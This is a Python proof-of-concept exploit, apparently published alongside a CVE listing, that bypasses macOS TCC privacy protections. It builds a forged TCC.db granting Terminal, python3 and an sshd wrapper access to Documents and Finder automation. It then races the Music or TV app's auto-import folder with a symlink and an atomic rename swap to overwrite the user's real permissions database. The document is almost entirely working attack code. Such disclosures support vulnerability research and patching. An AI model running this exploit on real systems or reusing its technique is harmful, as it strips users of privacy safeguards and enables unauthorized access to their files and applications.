4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / librarian.py PY
#!/usr/bin/python3

import sys
import os
import shutil
import ctypes
import subprocess
import time


HOMEDIR = "/Users/{}/".format(os.environ["USER"])
PAYLOADFILE = "TCC.db"		# this filename determines the filename in dst

TARGET_DIR = "{}/Library/Application Support/com.apple.TCC".format(HOMEDIR)
SRCFILE = "TCC.db"
CHECK_FILE = os.path.join(TARGET_DIR, SRCFILE)

SLEEPTIME = 3


origprint = print
def myprint(*args):
	if DEBUG:
		origprint(*args)
print = myprint

# globals
if os.environ.get("DEBUG") is not None:
	DEBUG = bool(int(os.environ["DEBUG"]))
else:
	DEBUG = False


# START renameatx_np
libc = ctypes.CDLL(None, use_errno=True)

AT_FDCWD = 0xfffffffe
RENAME_SWAP = 0x00000002

renameatx_np = libc.renameatx_np
renameatx_np.restype = ctypes.c_int
renameatx_np.argtypes = [
	ctypes.c_int,
	ctypes.c_char_p,
	ctypes.c_int,
	ctypes.c_char_p,
	ctypes.c_uint,
]

def atomic_rename(src, dst):
	src_c = ctypes.c_char_p(src.encode())
	dst_c = ctypes.c_char_p(dst.encode())

	ret = renameatx_np(AT_FDCWD, src_c, AT_FDCWD, dst_c, RENAME_SWAP)
	if ret != 0:
#		print("RENAME ERROR", ret)
		raise RuntimeError("ERROR")
# END


### TCC db generator (not important)
# TCC db to be generated...
TCC_SQLDATA = """
	PRAGMA foreign_keys=OFF;
	BEGIN TRANSACTION;
	CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
	INSERT INTO admin VALUES('version',23);
	CREATE TABLE policies (    id	INTEGER    NOT NULL PRIMARY KEY,     bundle_id    TEXT    NOT NULL,     uuid	TEXT    NOT NULL,     display	TEXT    NOT NULL,     UNIQUE (bundle_id, uuid));
	CREATE TABLE active_policy (    client	TEXT    NOT NULL,     client_type    INTEGER    NOT NULL,     policy_id    INTEGER NOT NULL,     PRIMARY KEY (client, client_type),     FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
	CREATE TABLE access (    service	TEXT	NOT NULL,     client	 TEXT	NOT NULL,     client_type    INTEGER     NOT NULL,     auth_value     INTEGER     NOT NULL,     auth_reason    INTEGER     NOT NULL,     auth_version   INTEGER     NOT NULL,     csreq	  BLOB,     policy_id      INTEGER,     indirect_object_identifier_type    INTEGER,     indirect_object_identifier	 TEXT NOT NULL DEFAULT 'UNUSED',     indirect_object_code_identity      BLOB,     flags	  INTEGER,     last_modified  INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type, indirect_object_identifier),    FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.shortcuts',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.securityd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.cloudpaird',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.identityservicesd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.suggestd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Safari',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.sociallayerd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.upload-request-proxy.com.apple.photos.cloud',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.iad-cloudkit',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.assistant.assistantd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.ScreenTimeAgent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.syncdefaultsd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.donotdisturbd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.siriknowledged',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.appleaccountd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.passd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.amsaccountsd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.icloud.searchpartyuseragent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.willowd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.remindd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.cloudphotod',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.amsengagementd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937173);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.StatusKitAgent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937182);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Passbook',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937182);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.routined',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937182);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.knowledge-agent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937184);
	INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.textinput.KeyboardServices',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937199);
	INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1670953394);
	INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','/usr/libexec/sshd-keygen-wrapper',1,2,2,1,X'fade0c000000003c0000000100000006000000020000001d636f6d2e6170706c652e737368642d6b657967656e2d7772617070657200000000000003',NULL,NULL,'UNUSED',NULL,0,1670953636);
	INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','/usr/bin/python3',1,2,2,1,X'fade0c000000003c0000000100000006000000020000001d636f6d2e6170706c652e737368642d6b657967656e2d7772617070657200000000000003',NULL,NULL,'UNUSED',NULL,0,1670953636);
	INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','pwned by @gergelykalman',1,2,2,1,X'fade0c000000003c0000000100000006000000020000001d636f6d2e6170706c652e737368642d6b657967656e2d7772617070657200000000000003',NULL,NULL,'UNUSED',NULL,0,1670953636);
	INSERT INTO access VALUES('kTCCServiceAppleEvents','com.apple.Terminal',0,2,3,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,0,'com.apple.finder',X'fade0c000000002c00000001000000060000000200000010636f6d2e6170706c652e66696e64657200000003',NULL,1670953426);
	INSERT INTO access VALUES('kTCCServiceAppleEvents','/usr/libexec/sshd-keygen-wrapper',1,2,3,1,X'fade0c000000003c0000000100000006000000020000001d636f6d2e6170706c652e737368642d6b657967656e2d7772617070657200000000000003',NULL,0,'com.apple.finder',X'fade0c000000002c00000001000000060000000200000010636f6d2e6170706c652e66696e64657200000003',NULL,1670953638);
	CREATE TABLE access_overrides (    service	TEXT    NOT NULL PRIMARY KEY);
	CREATE TABLE expired (    service	TEXT	NOT NULL,     client	 TEXT	NOT NULL,     client_type    INTEGER     NOT NULL,     csreq	  BLOB,     last_modified  INTEGER     NOT NULL ,     expired_at     INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type));
	CREATE INDEX active_policy_id ON active_policy(policy_id);
	COMMIT;
	"""

def generate_tccdb(tcc_dbfile):
	tcc_sql = "tcc_sql.txt"
	with open(tcc_sql, "w") as f:
		f.write(TCC_SQLDATA)

	if os.path.exists(tcc_dbfile):
		os.unlink(tcc_dbfile)

	p = subprocess.Popen("cat \"{}\" | sqlite3 \"{}\"".format(tcc_sql, tcc_dbfile), shell=True)
	p.wait()

	os.unlink(tcc_sql)

### END


def main(app):
	# set app-specific parameters
	if app == "1":
		watchpath = "{}/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized".format(HOMEDIR)
		drop_dir = "{}/Music/Music/Media.localized/Automatically Add to Music.localized/".format(HOMEDIR)
		appname = "Music"
		apppath = "/System/Applications/Music.app/Contents/MacOS/Music"
	else:
		# tv
		watchpath = "{}/Movies/TV/Media.localized/Automatically Add to TV.localized/Not Added.localized".format(HOMEDIR)
		drop_dir = "{}/Movies/TV/Media.localized/Automatically Add to TV.localized/".format(HOMEDIR)
		appname = "TV"
		apppath = "/System/Applications/TV.app/Contents/MacOS/TV"

	print("[+] Cleaning up")
	if not os.path.exists(drop_dir):
		os.makedirs(drop_dir)
	os.chdir(drop_dir)
	os.system("killall -q {}".format(appname))
	if os.path.exists(watchpath):
		shutil.rmtree(watchpath, ignore_errors=False)

	symlinkpath = os.getcwd() + "/" + "tmp"

	print("[+] Generating TCC.db")
	if os.path.exists("TCC.db"):
		os.unlink("TCC.db")
	generate_tccdb(PAYLOADFILE)

	print("[+] Checking original file")
	orig_inode = os.stat(CHECK_FILE).st_ino
	print("[?] Original inode: {}".format(orig_inode))

	print("[+] Creating file and symlink")
	if os.path.exists(symlinkpath):
		if os.path.isdir(symlinkpath):
			shutil.rmtree(symlinkpath)
		else:
			os.unlink(symlinkpath)
	os.symlink(TARGET_DIR, symlinkpath)

	print("[+] Trigger")
	data = open(PAYLOADFILE, "rb").read()
	f = open(drop_dir + "/" + SRCFILE, "wb")
	f.write(data)
	f.flush()
	f.seek(0, 0)
	# NOTE: we could keep this open and modify after a successful race
	f.close()

	p = subprocess.Popen(
		[apppath],
		stdout=subprocess.DEVNULL,
		stderr=subprocess.DEVNULL,
	)

	print("[+] Waiting for dir creation")
	while not os.path.exists(watchpath):
		pass

	print("[+] Waiting for new directory creation")
	while True:
		dirlist = os.listdir(watchpath)
		if len(dirlist) > 1:
			break

	# print(dirlist)
	for i in dirlist:
		if i == ".localized":
			continue

		src = os.path.join(watchpath, i)
		dst = symlinkpath
		print("[?] \"{}\" -> \"{}\"".format(src, dst))
		try:
			atomic_rename(src, dst)
		except Exception as exc:
			print("ERROR: {}".format(exc))	
		break

	print("[+] Switched")

	time.sleep(SLEEPTIME)

	p.terminate()
	p.wait()

	# NOTE: disabled for now
	# f.truncate(0)
	# f.write(b'X'*1337)
	# f.flush()

	new_inode = os.stat(CHECK_FILE).st_ino
	if new_inode == orig_inode:
		print("[-] Fail, inode is the same :(")
		exit(1)
	
	print("[+] SUCCESS! Inode changed {} -> {}".format(orig_inode, new_inode))
	os.system("ls -ali \"{}/Library/Application Support/com.apple.TCC/TCC.db\"".format(HOMEDIR))

	print("[+] Check permissions: you can\n\t- access Documents\n\t- Automate Finder (TCC bypass)")


if __name__ == "__main__":
	if len(sys.argv) < 2 or sys.argv[1] not in ("1", "2"):
		origprint("Usage: {} (1|2)".format(sys.argv[0]))
		exit(1)
	app = sys.argv[1]
	main(app)